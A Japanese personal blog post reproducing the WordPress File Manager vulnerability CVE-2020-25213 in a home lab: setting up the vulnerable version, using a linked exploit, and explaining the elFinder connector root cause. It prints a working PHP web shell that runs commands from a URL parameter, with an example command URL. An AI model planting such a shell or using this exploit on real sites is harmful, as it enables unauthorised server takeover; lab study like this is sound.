Zuck3r’s Study

エンジニアではありません

CVE-2020-25213の検証

はじめに

なんか、脆弱性が通る環境を再現して攻撃してみたいなと思い至り、今回は2020年話題になったWordPressプラグイン「File Manager」の脆弱性を確認してみる事にしました。

本題

1.先ずは環境の構築

ワードプレスの構築自体はこちらの私が書いた記事通りに行いました。

qiita.com

ワードプレスが立ち上がるようになったところで、次に何が必要かというと、そうですね、プラグイン「File Manager」の脆弱性が存在するバージョンですね。普通に、こちらのプラグインをインストールすると最新版のパッチが当たったものが追加されます。なので、過去のバージョンを以下のサイトからzip形式でダウンロードしましょう。

ja.wordpress.org

ページ下の方にダウンロードするバージョンを指定できるので、ver.5.9を選びましょう。そして、こちらのzipファイルをアップロードする訳ですが(ダウンロードしたzipファイルの中のzipファイルを利用します)恐らく、アップロードできるサイズのディレクティブを超えているといった内容のエラーが出ると思います。なので、/etc/php/version/apache2/php.iniupload_max_filesize行の値を5Mくらいに変更してください。その後に設定をリロード。これでアップロード出来るようになります。

sudo systemctl reload apache2

File Manager(脆弱なver.)が使えるようになったので遊んでいきましょう。使用した、エクスプロイトはこちらのgithubURLになっています。

github.com

使用例としては以下の通り。一応メインのオプションにざっくり解説を入れておく。

-u・・・こちらは対象となるホストアドレスを指定
-f・・・アップロードするファイルの指定。(リバースシェルとかかな)
-k・・・脆弱のあるワードプレスサイトなのかのディテクション

f:id:Zuck3r:20201222025546p:plain

で、僕は思いました。そうだ、稚拙でもリバースシェルもどきを作ってみよう!と…かなりダサいし機能もショボイですが一応、動かしてみた。以下のコードです。うわぉ、これは酷いって感じ。

<?php
    $x = $_GET['x'];
    $output = shell_exec($x);
    echo "<pre>$output</pre>";
?>

僕はこいつを検証サーバに仕込んでみました。このようなペイロードだと、ブラウザでそのurlにアクセスして、パラメータに使用したいコマンドをぶち込めば動きますね!例を挙げておきます!

targeturl/wp-content/plugins/wp-file-manager/lib/files/hoge.php?x=cd ../ ; ls -a

こんな感じとか。一個上のディレクトリの中身覗けますね!これで確かに、攻撃が通って不味い事が分かりました!

どうしてこんな事が起きたんだろ?

ただ、脆弱性を試してみるだけでは味気無いなと。なんで、任意のファイルがアップロード出来たのかな?と気になったので僕が分かった範囲でまとめたいと思います。
先ずは、NVDのレポートを読んでみました。安全でないelFinderの使い方が本脆弱性の起点だという事が読み取れました。
そして、elFinderって何?となったんですが、こちらはサーバ上のファイルなどを簡単に操作するためのファイルマネージャ用のライブラリだそうです。結局以下が理由のようです(間違っていたら申し訳ない。)

  • File Managerプラグインが、このライブラリに含まれる connector.minimal.php.dist というファイルの拡張子を .phpに直接変更していた。
  • こういったライブラリには、アクセス制御を追加せずに そのまま使用 することを意図していないサンプルファイルが含まれていることが多く、このファイルには直接のアクセス制限がなく誰でもアクセス出来た。
  • そしてそのファイルの中に、elFinderのコマンド(mkfile, upload)が実行できる物があり任意のファイルを上げることが出来た。という運びです。

NVD - CVE-2020-25213

詳しくは以下を読んだ方が良いです!

www.wordfence.com

最後に

またもや、久しぶりの記事に成りました。就活や、オンライン講義も期末という佳境が近づいて参りとても忙しいです… インプットはそれなりに続けています。なので、また落ち着いたら1か月に1回書けたら良いなと思ったりしています。
また、最近またコロナウイルスが猛威を振るい始めて少し心配ですね。出来る限りの対策を取りながら、進めるべき物事を進めていきたいと思います!